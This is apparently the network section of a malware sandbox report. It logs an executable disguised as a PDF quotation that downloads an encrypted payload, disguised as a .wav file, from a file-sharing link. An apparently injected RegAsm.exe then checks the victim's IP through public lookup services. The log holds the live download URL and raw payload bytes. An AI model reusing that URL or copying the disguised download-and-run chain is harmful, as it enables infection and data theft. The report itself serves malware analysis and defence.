Apr 23, 2025 17:24:31.315423012 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.315459013 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.315567970 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.315618038 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.315625906 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.315857887 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.315929890 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.315937042 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.315992117 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316052914 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.316060066 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316160917 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316217899 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.316225052 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316273928 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316328049 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.316334963 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316426992 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316478968 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.316488028 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316549063 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316610098 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.316617012 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316652060 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316711903 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.316719055 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316730976 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316781044 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.316795111 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316826105 CEST	443	49682	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.316839933 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.316875935 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.322355986 CEST	49682	443	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.323645115 CEST	49681	80	192.168.2.7	193.30.119.107
Apr 23, 2025 17:24:31.626053095 CEST	80	49681	193.30.119.107	192.168.2.7
Apr 23, 2025 17:24:31.626143932 CEST	49681	80	192.168.2.7	193.30.119.107
Apr 23, 2025 17:25:21.590780973 CEST	49694	80	192.168.2.7	132.226.8.169
Apr 23, 2025 17:25:21.837241888 CEST	80	49694	132.226.8.169	192.168.2.7
Apr 23, 2025 17:25:21.837349892 CEST	49694	80	192.168.2.7	132.226.8.169
Apr 23, 2025 17:25:21.837816000 CEST	49694	80	192.168.2.7	132.226.8.169
Apr 23, 2025 17:25:22.084278107 CEST	80	49694	132.226.8.169	192.168.2.7
Apr 23, 2025 17:25:23.004338026 CEST	80	49694	132.226.8.169	192.168.2.7
Apr 23, 2025 17:25:23.008862972 CEST	49694	80	192.168.2.7	132.226.8.169
Apr 23, 2025 17:25:23.255286932 CEST	80	49694	132.226.8.169	192.168.2.7
Apr 23, 2025 17:25:24.638655901 CEST	80	49694	132.226.8.169	192.168.2.7
Apr 23, 2025 17:25:24.692540884 CEST	49694	80	192.168.2.7	132.226.8.169
Apr 23, 2025 17:25:24.791220903 CEST	49695	443	192.168.2.7	104.21.16.1
Apr 23, 2025 17:25:24.791266918 CEST	443	49695	104.21.16.1	192.168.2.7
Apr 23, 2025 17:25:24.791352034 CEST	49695	443	192.168.2.7	104.21.16.1
Apr 23, 2025 17:25:24.796499014 CEST	49695	443	192.168.2.7	104.21.16.1
Apr 23, 2025 17:25:24.796514988 CEST	443	49695	104.21.16.1	192.168.2.7
Apr 23, 2025 17:25:25.137479067 CEST	443	49695	104.21.16.1	192.168.2.7
Apr 23, 2025 17:25:25.137577057 CEST	49695	443	192.168.2.7	104.21.16.1
Apr 23, 2025 17:25:25.140639067 CEST	49695	443	192.168.2.7	104.21.16.1
Apr 23, 2025 17:25:25.140650034 CEST	443	49695	104.21.16.1	192.168.2.7
Apr 23, 2025 17:25:25.141057968 CEST	443	49695	104.21.16.1	192.168.2.7
Apr 23, 2025 17:25:25.192579031 CEST	49695	443	192.168.2.7	104.21.16.1
Apr 23, 2025 17:25:25.293203115 CEST	49695	443	192.168.2.7	104.21.16.1
Apr 23, 2025 17:25:25.340270996 CEST	443	49695	104.21.16.1	192.168.2.7
Apr 23, 2025 17:25:25.766532898 CEST	443	49695	104.21.16.1	192.168.2.7
Apr 23, 2025 17:25:25.766609907 CEST	443	49695	104.21.16.1	192.168.2.7
Apr 23, 2025 17:25:25.766664982 CEST	49695	443	192.168.2.7	104.21.16.1
Apr 23, 2025 17:25:25.772634983 CEST	49695	443	192.168.2.7	104.21.16.1
Apr 23, 2025 17:26:29.638128042 CEST	80	49694	132.226.8.169	192.168.2.7
Apr 23, 2025 17:26:29.638205051 CEST	49694	80	192.168.2.7	132.226.8.169

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 23, 2025 17:24:27.183065891 CEST	57373	53	192.168.2.7	1.1.1.1
Apr 23, 2025 17:24:27.654934883 CEST	53	57373	1.1.1.1	192.168.2.7
Apr 23, 2025 17:25:21.442459106 CEST	51860	53	192.168.2.7	1.1.1.1
Apr 23, 2025 17:25:21.584079027 CEST	53	51860	1.1.1.1	192.168.2.7
Apr 23, 2025 17:25:24.640995979 CEST	63407	53	192.168.2.7	1.1.1.1
Apr 23, 2025 17:25:24.790186882 CEST	53	63407	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Apr 23, 2025 17:24:27.183065891 CEST	192.168.2.7	1.1.1.1	0xa375	Standard query (0)	3007.filemail.com	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:21.442459106 CEST	192.168.2.7	1.1.1.1	0xb9a9	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:24.640995979 CEST	192.168.2.7	1.1.1.1	0xe681	Standard query (0)	reallyfreegeoip.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Apr 23, 2025 17:24:27.654934883 CEST	1.1.1.1	192.168.2.7	0xa375	No error (0)	3007.filemail.com	ip.3007.filemail.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2025 17:24:27.654934883 CEST	1.1.1.1	192.168.2.7	0xa375	No error (0)	ip.3007.filemail.com		193.30.119.107	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:21.584079027 CEST	1.1.1.1	192.168.2.7	0xb9a9	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)	false
Apr 23, 2025 17:25:21.584079027 CEST	1.1.1.1	192.168.2.7	0xb9a9	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:21.584079027 CEST	1.1.1.1	192.168.2.7	0xb9a9	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:21.584079027 CEST	1.1.1.1	192.168.2.7	0xb9a9	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:21.584079027 CEST	1.1.1.1	192.168.2.7	0xb9a9	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:21.584079027 CEST	1.1.1.1	192.168.2.7	0xb9a9	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:24.790186882 CEST	1.1.1.1	192.168.2.7	0xe681	No error (0)	reallyfreegeoip.org		104.21.16.1	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:24.790186882 CEST	1.1.1.1	192.168.2.7	0xe681	No error (0)	reallyfreegeoip.org		104.21.32.1	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:24.790186882 CEST	1.1.1.1	192.168.2.7	0xe681	No error (0)	reallyfreegeoip.org		104.21.96.1	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:24.790186882 CEST	1.1.1.1	192.168.2.7	0xe681	No error (0)	reallyfreegeoip.org		104.21.112.1	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:24.790186882 CEST	1.1.1.1	192.168.2.7	0xe681	No error (0)	reallyfreegeoip.org		104.21.64.1	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:24.790186882 CEST	1.1.1.1	192.168.2.7	0xe681	No error (0)	reallyfreegeoip.org		104.21.48.1	A (IP address)	IN (0x0001)	false
Apr 23, 2025 17:25:24.790186882 CEST	1.1.1.1	192.168.2.7	0xe681	No error (0)	reallyfreegeoip.org		104.21.80.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

3007.filemail.com

reallyfreegeoip.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49681	193.30.119.107	80	6412	C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2025 17:24:27.970412970 CEST	327	OUT	GET /api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95 HTTP/1.1 User-Agent: Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Mobile Safari/537.36 Host: 3007.filemail.com Connection: Keep-Alive
Apr 23, 2025 17:24:28.274441957 CEST	599	IN	HTTP/1.1 301 Moved Permanently Content-Type: text/html; charset=UTF-8 Location: https://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95 Server: Microsoft-IIS/10.0 Date: Wed, 23 Apr 2025 15:24:27 GMT Content-Length: 277 Data Raw: 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 44 6f 63 75 6d 65 6e 74 20 4d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 3c 68 31 3e 4f 62 6a 65 63 74 20 4d 6f 76 65 64 3c 2f 68 31 3e 54 68 69 73 20 64 6f 63 75 6d 65 6e 74 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 3c 61 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 33 30 30 37 2e 66 69 6c 65 6d 61 69 6c 2e 63 6f 6d 2f 61 70 69 2f 66 69 6c 65 2f 67 65 74 3f 66 69 6c 65 6b 65 79 3d 32 4f 7a 66 66 31 2d 4b 50 42 69 71 63 69 67 37 4c 6a 57 61 79 6b 51 43 78 30 6a 33 78 4c 72 71 67 59 42 63 2d 43 36 75 41 51 4d 73 61 36 4a 56 7a 58 65 74 53 65 7a 58 79 54 79 4f 50 47 4d 26 61 6d 70 3b 70 6b 5f 76 69 64 3d 38 65 32 61 65 63 38 66 30 36 35 64 61 63 39 39 31 37 34 35 33 38 34 32 30 37 63 31 65 62 39 35 22 3e 68 65 72 65 3c 2f 61 3e 3c 2f 62 6f 64 79 3e Data Ascii: <head><title>Document Moved</title></head><body><h1>Object Moved</h1>This document may be found <a HREF="https://3007.filemail.com/api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95">here</a></body>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49694	132.226.8.169	80	3544	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Apr 23, 2025 17:25:21.837816000 CEST	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Apr 23, 2025 17:25:23.004338026 CEST	275	IN	HTTP/1.1 200 OK Date: Wed, 23 Apr 2025 15:25:22 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.244.56.186</body></html>
Apr 23, 2025 17:25:23.008862972 CEST	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Apr 23, 2025 17:25:24.638655901 CEST	275	IN	HTTP/1.1 200 OK Date: Wed, 23 Apr 2025 15:25:24 GMT Content-Type: text/html Content-Length: 106 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 31 37 33 2e 32 34 34 2e 35 36 2e 31 38 36 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 173.244.56.186</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49682	193.30.119.107	443	6412	C:\Users\user\Desktop\QUOTATION_APRLQUOTE312025#U00b7PDF.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-04-23 15:24:29 UTC	327	OUT	GET /api/file/get?filekey=2Ozff1-KPBiqcig7LjWaykQCx0j3xLrqgYBc-C6uAQMsa6JVzXetSezXyTyOPGM&pk_vid=8e2aec8f065dac991745384207c1eb95 HTTP/1.1 User-Agent: Mozilla/5.0 (Linux; Android 13; Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.199 Mobile Safari/537.36 Host: 3007.filemail.com Connection: Keep-Alive
2025-04-23 15:24:29 UTC	322	IN	HTTP/1.1 200 OK Content-Length: 1162248 Content-Type: audio/wav Last-Modified: Wed, 23 Apr 2025 04:56:29 GMT Accept-Ranges: bytes ETag: d8143b244a2dd43311360de1fee87eaf X-Transfer-ID: wnfvoysaeowmxjg Content-Disposition: attachment; filename=Uephvizfr.wav Date: Wed, 23 Apr 2025 15:24:29 GMT Connection: close
2025-04-23 15:24:29 UTC	3279	IN	Data Raw: 89 f1 92 3d 14 9b 1a 7e b7 c4 a7 72 fb 65 3a 92 10 4b 61 f6 7f 35 54 e3 ce 59 cc 7a dc 99 42 45 9d 0a 0d 95 ab bc 8d bb ff 9c 25 f0 0d 1d 34 d3 6e af 0e 78 85 81 b0 3a f3 40 0e 2d 9b 2f 9a 4d 11 19 66 27 3c 56 a2 43 3a 81 1e 6b 9c 77 53 4a 2e 11 8f 99 e8 0c 35 5f 68 95 7d 88 b8 bc a3 3f 55 94 52 b1 ed e3 34 6a 87 2f 9e f2 ca 8d 90 9a 35 1b 46 08 4d ba 4b 6d 52 6c 49 96 cb e7 77 b5 bd 9e bc da db a1 7e 8a a0 e5 91 ac df 3f b2 d6 9a 10 ad 16 7e bc 9e 77 80 76 2e 50 8d 9a 16 77 24 9b 51 44 48 21 f4 e5 f2 d0 59 10 2f 5a 2e 97 97 69 ed 09 88 38 5b 4c 20 b7 53 a4 f2 b6 62 65 96 83 a4 5a 3f 12 ae 04 11 21 61 2c c2 75 cc 41 92 2f cd 17 6f 54 ab 11 e2 1d 53 bb 3d b8 d7 f2 b6 15 3f 01 2d 94 8e 91 1c 1f 79 9e 22 4e a6 cb dd e2 29 fb 74 78 92 89 bb 6f ab c7 db 13 5d Data Ascii: =~re:Ka5TYzBE%4nx:@-/Mf'<VC:kwSJ.5_h}?UR4j/5FMKmRlIw~?~wv.Pw$QDH!Y/Z.i8[L SbeZ?!a,uA/oTS=?-y"N)txo]
2025-04-23 15:24:29 UTC	8192	IN	Data Raw: 73 ad 1a 1b 2b 0c ed 12 87 03 ab c3 85 09 b8 6c 72 8d ac 71 f6 4e cc 87 fd cb 62 fc 4b e3 cc 5e 44 13 21 b6 97 15 f6 fa b5 71 5b 69 73 18 cb 15 65 72 9e 85 0f 68 01 4f d2 ca b4 bb 84 52 47 80 02 c7 c4 be da 8d 75 8e 57 37 f0 56 c0 f6 5b 01 ad ae 1c ba be be 04 a8 a4 80 e3 e3 86 99 38 b0 d4 f7 e2 a5 b1 47 6d f7 f7 fb b6 87 67 10 6e 3e 52 62 dd 69 3b 0d 93 71 08 61 7e 7e a3 ca ac 7f b0 42 ac 93 d3 b8 57 6e 12 50 be ef c5 ea f9 3a 6b aa ab 8c 2d 1b a9 78 0f dd 88 87 1a 2f f2 4c ff e0 dc 9f 05 e1 9c 00 ef 44 3d cf 1d 5e aa 3b 96 69 09 81 40 13 05 68 a5 56 87 4d a5 e0 36 55 ff 92 34 cf 3f 09 c4 c2 da be 74 ef 43 39 81 f8 37 af 8e 4d 6f 88 66 5d a0 e6 07 5a ac 55 14 3e bb 49 b4 dc f8 a3 ec fe 58 d6 6d ab 63 b5 9a 4c 70 0e 7a 10 89 c1 09 09 4c b9 fe 57 2b b2 d1 Data Ascii: s+lrqNbK^D!q[iserhORGuW7V[8Gmgn>Rbi;qa~~BWnP:k-x/LD=^;i@hVM6U4?tC97Mof]ZU>IXmcLpzLW+
2025-04-23 15:24:29 UTC	8192	IN	Data Raw: 3b 9e 24 ea 50 b9 26 eb 88 1c 70 a6 17 87 a6 64 1c 44 88 76 ec de 92 18 a0 03 97 3d f2 02 b6 40 98 6c 77 8b f4 a5 d5 fc b5 08 03 96 9a e3 b8 59 95 d7 52 5f 16 4a 0a ae 03 70 cb 90 93 5c d2 d1 d0 34 a5 3a 0a 34 6d 84 e2 0f 8f 1a d1 56 2e 34 6e a2 33 93 17 3c c7 35 ea d8 86 3b 7e 29 d4 19 18 b9 78 43 8e ed 86 f3 99 a8 15 b6 03 9b 4b ea 61 9f 9e 37 4d 97 6a 1a 02 3a 61 c2 dc 45 03 66 0a 8c 68 8a 83 62 7d 9c bd 1a 82 cb b7 a0 9c a9 12 73 fd b4 59 1b c0 45 25 da 5a 18 3a 3f e6 08 02 46 1c 69 21 1c b7 28 17 1e 21 52 f0 4a 5f 7f d3 0a 32 53 f6 d3 a0 45 67 be ec ab 63 c6 72 3d 4d 7a 5c 05 ea c8 7f 38 cb ba a9 d0 3a a1 e6 88 90 ce 9e fb 70 90 25 a8 3f 30 ac 7b 6a 5e ab 1e d4 a8 d8 ed 36 b5 4b f1 d5 d8 c8 ad e8 eb fc 0f a9 ef df f5 03 7b bd c7 9b 6a 8c 30 26 c1 38 Data Ascii: ;$P&pdDv=@lwYR_Jp\4:4mV.4n3<5;~)xCKa7Mj:aEfhb}sYE%Z:?Fi!(!RJ_2SEgcr=Mz\8:p%?0{j^6K{j0&8
2025-04-23 15:24:29 UTC	8192	IN	Data Raw: 07 8d 90 e4 00 89 1e 39 6d cd a6 bc c4 cb 97 e2 49 4e c3 17 f7 e7 41 26 5d 26 cb 75 e9 30 17 84 77 76 d3 87 3d be da 42 f3 2c 0e 49 89 a8 b1 4d 99 42 f0 ee 2a da 9a 26 38 ee 3e 7e 73 cf 82 b8 58 7e ec 5c e3 a1 a0 92 0d 9c 48 ac 62 92 20 44 de 2f 16 30 d9 4b a9 2c 7c da e0 e5 7e b6 e7 0e 9c 7e cf 38 9c 26 8a d7 4a 7d 9b c2 51 69 e2 6e 16 b5 50 61 ff 86 20 b0 2b ea ae 1f 04 a1 a4 b1 44 77 e2 32 a0 dc 5d 69 49 6d bb 0f 31 ac e3 0b b6 7b 36 74 22 d6 16 89 0b 23 34 9a 57 bf 8c 83 a0 1a df 06 39 26 94 b8 22 62 1e 74 79 1c 9f 6c 3c 1c e6 25 91 d7 9e f0 e4 f4 4c 69 07 f8 7c bd 2c 4e 66 e5 cd 23 bc 3e 02 fc 4f 53 b0 cb fc 2b 68 5d 1f 49 71 71 d9 e3 80 3a 9d 2d 9e 5d 96 f7 8a cc 8a 82 57 cf b1 1a bb a4 f9 b9 64 2c 03 c2 69 a3 44 77 58 f0 35 20 86 bf 32 f8 38 92 ec Data Ascii: 9mINA&]&u0wv=B,IMB*&8>~sX~\Hb D/0K,\|~~8&J}QinPa +Dw2]iIm1{6t"#4W9&"btyl<%Li\|,Nf#>OS+h]Iqq:-]Wd,iDwX5 28
2025-04-23 15:24:29 UTC	8192	IN	Data Raw: 6b 05 88 41 48 f9 1d a7 67 99 17 b3 d7 34 53 a7 b9 62 0d 14 db 55 7f 97 78 0c 6f cf 62 b8 77 f6 5c 60 ff 38 7c ec 3b 8c 28 16 6b f7 c6 8e 74 fd 1e 23 e7 39 4c fe b7 ee 79 0c 71 40 68 b8 ea fb 91 3b 1c 1d da 99 80 ce 6c 3e 56 e5 9a 99 1f 62 49 cf a0 cc a3 f6 7b 8e 3a 58 48 a7 17 7f cf f0 7d d8 5a 0c 9a 9d 56 02 a5 2e 86 33 6b fc 9f e1 bf fa fa 3d 98 75 6e a8 fd 17 fb 24 aa 6b 6a 5c e2 27 1d 0d d0 0d ea 9e 4b 26 c6 62 e6 21 6e 8a c3 8e d1 4b 4f 64 95 c0 bd 25 0d 26 90 1b 4f 7b 28 8c b5 67 ae 48 bc 45 37 f1 ac 76 d9 76 ec ec ff 0e 66 b5 61 13 7a b3 4d 9c 1e 75 8d 58 bb cb 48 82 d6 1e 58 92 1e 84 c3 a8 f5 72 7b 43 cd 14 c4 6a 21 10 db 4a 96 9a 19 eb cd 3c cf 9d 70 52 f7 1f 3d 0a 3f 15 ed 1b 93 57 67 b9 26 80 c3 bc 59 e7 bd 31 30 78 73 3a 62 c3 a9 bd 23 c8 8b Data Ascii: kAHg4SbUxobw\`8\|;(kt#9Lyq@h;l>VbI{:XH}ZV.3k=un$kj\'K&b!nKOd%&O{(gHE7vvfazMuXHXr{Cj!J<pR=?Wg&Y10xs:b#
2025-04-23 15:24:29 UTC	8192	IN	Data Raw: 8a 6a b1 c8 bc 41 76 e1 84 6d 06 07 a5 f3 51 ef 11 32 84 31 35 df 78 e0 d8 b4 db c3 86 5b 69 f9 de 45 d1 51 e9 20 27 ee 13 8c 79 fd be 46 a8 73 55 13 0f c5 83 84 1a c9 49 6d 7b b0 a4 80 d8 96 0b c7 d4 a7 ca 88 dc 55 16 17 9f ee 92 50 dc c0 03 c3 e1 07 b6 46 b7 79 76 5b d6 9d 5d 79 d6 a0 b1 4b 3a 80 56 50 77 21 d3 eb 67 7a d1 e2 73 c2 34 bb f7 aa 2b a7 16 af 77 6a 6a ab 1e 6f b5 a0 46 f0 fd 62 92 da fe 76 0c 0e f0 5f a3 96 25 83 ae a5 87 d6 8a c2 db 14 bc 41 37 fa ef 8c ba 00 a0 25 6b 93 a7 96 00 48 43 53 02 1e 16 97 b1 f3 84 49 90 95 a8 2c dc b8 c6 0c d1 79 25 33 ef d9 6e a7 4a f7 e8 e9 86 5e 44 28 0d d7 fc 68 f8 48 8c b7 73 b4 e9 d6 ca 86 25 e9 37 db e8 27 28 87 4f 4a 42 fe 1d f7 7d 53 b3 13 46 2f 80 37 1d ac 4f c9 14 89 cc 2d 41 84 60 b7 c0 da 33 9f 6c Data Ascii: jAvmQ215x[iEQ 'yFsUIm{UPFyv[]yK:VPw!gzs4+wjjoFbv_%A7%kHCSI,y%3nJ^D(hHs%7'(OJB}SF/7O-A`3l
2025-04-23 15:24:30 UTC	8192	IN	Data Raw: 5b 3d dd 88 60 d7 6e 04 0b bf 1c df 01 d7 6a b3 ab 45 c0 7f 6e 9e e5 a9 98 e1 84 ca f5 17 cc a9 a6 84 1d 31 42 9c fb 73 fd ad 57 de bf aa 07 cb 1d 9a c9 0a 83 bf be 89 96 07 c2 30 8c c5 4b f2 7d 07 80 6a ac 61 28 f6 7b 82 fa e3 6d 6a fc a7 af ec f4 15 c7 2a 61 9b e0 2a 8d 96 86 b1 b6 58 ec d5 96 1b 23 a0 14 0f e2 ac ff 31 95 b4 af 6f 7e cd 1d 1a 89 b8 b9 45 73 3b e8 c0 b0 0e 80 38 47 78 07 8f bc 5f 99 b0 ea f0 03 55 53 45 35 fc 1c ee 77 cb a5 db 8a 1a 29 79 2a 41 e3 50 89 97 ff 81 cc 7f e6 b1 ce f2 a8 14 f4 1d db d5 fd d7 cb 99 4a e0 a9 ec 08 6f 5f 67 27 67 5d 8c 64 11 7e 2d 14 b4 f3 00 96 65 5e 35 d2 4d 5c 28 9f 83 19 22 f7 14 c6 3c d4 4b bb ee 0f 70 b6 91 e8 61 b2 5b b0 78 77 5e a5 0b 2f 78 7a ef 74 a5 45 70 bb 34 b9 d8 9c 68 28 b3 15 97 e0 87 49 75 e9 Data Ascii: [=`njEn1BsW0K}ja({mjaX#1o~Es;8Gx_USE5w)y*APJo_g'g]d~-e^5M\("<Kpa[xw^/xztEp4h(Iu
2025-04-23 15:24:30 UTC	8192	IN	Data Raw: ff 40 18 53 88 09 1e 84 f0 91 8c 77 36 57 3c 13 39 78 61 e2 71 a1 52 5d 58 ae 66 b9 fb 50 93 51 b0 5b 6e 31 79 df 60 b7 08 af ea 80 e6 fd c6 a0 83 b6 99 4e 79 42 39 8b 53 78 d7 75 da 81 d7 a6 a1 99 52 30 85 3b c7 8c f6 78 a1 78 4c 59 2c af d7 52 47 ba e6 14 fa a3 d9 27 7b ac 41 54 13 a9 62 54 d4 46 11 f0 79 e3 90 40 5a 6e eb 43 8d d3 21 0c 4e df a6 b8 e9 4b 2c 51 22 68 e6 31 5d b5 8f fe c1 5f be 3f f7 24 6e 33 a6 3b a5 4f 6b 9d 0d 4b 8c d1 c2 8e 12 c1 46 23 26 94 54 61 30 64 5e bd 98 e4 5a 67 bd fd 08 7e c8 9b 64 0b 2c 44 8b 2a fc 05 05 e7 98 14 7b 96 9e 8e b6 21 2b 95 b7 08 19 87 c7 03 7c 93 30 f5 54 e7 c5 49 0b 4b e2 e5 0a 16 38 75 bc b9 52 8d 76 62 f4 46 b2 45 0f 3b 2c e0 4e e8 83 f8 b3 70 e0 35 39 7f e2 48 dd 59 27 cf a5 83 cf 97 58 78 83 ec d0 98 6e Data Ascii: @Sw6W<9xaqR]XfPQ[n1y`NyB9SxuR0;xxLY,RG'{ATbTFy@ZnC!NK,Q"h1]_?$n3;OkKF#&Ta0d^Zg~d,D*{!+\|0TIK8uRvbFE;,Np59HY'Xxn
2025-04-23 15:24:30 UTC	8192	IN	Data Raw: 02 b4 fc 19 c3 c8 98 c1 a3 8b a0 82 28 f6 ef d3 43 f8 19 d5 dd 59 c5 c4 b7 7a 57 a1 b4 0f 9f d6 8e c7 5b 02 24 8a c8 e9 e2 00 14 a4 77 76 0a 56 68 71 46 f0 a5 d8 17 45 18 f9 4d c2 cc f0 79 8d 38 5d 48 da 8b a9 12 33 c7 e7 e4 21 e6 5f 82 9c 6f bf e0 4f 6e 49 5c ef 95 81 2d 16 0e fa 6b a9 d5 fd ea f1 88 db e9 99 b4 bc 4e c8 67 fc 00 9d b5 85 6b b1 a9 b3 68 79 aa a6 fb 5a f0 88 47 ac 6d 5f b3 83 5c 01 ba a4 f9 28 91 99 69 0c 86 42 fe f7 e7 68 25 00 9d 5e 3c 42 80 1b 60 79 35 15 ba 8e 69 41 68 b2 b2 d9 ce 48 ee ef 6a 05 5d 6a 04 7f 34 ff 7e 01 59 af 87 ea f3 3d c6 f1 6f fd 4e 3f 75 3a ae 2d 5d 8f 9f ec 10 91 b9 8e 98 b5 b2 98 a9 bb 2c 00 67 76 39 01 f7 ed 8b 72 ac 19 30 e7 e9 b3 42 98 25 b8 9c d5 43 32 be f5 7d 64 10 d9 06 bd c6 49 d6 d9 0b 60 fc 80 f9 89 6d Data Ascii: (CYzW[$wvVhqFEMy8]H3!_oOnI\-kNgkhyZGm_\(iBh%^<B`y5iAhHj]j4~Y=oN?u:-],gv9r0B%C2}dI`m
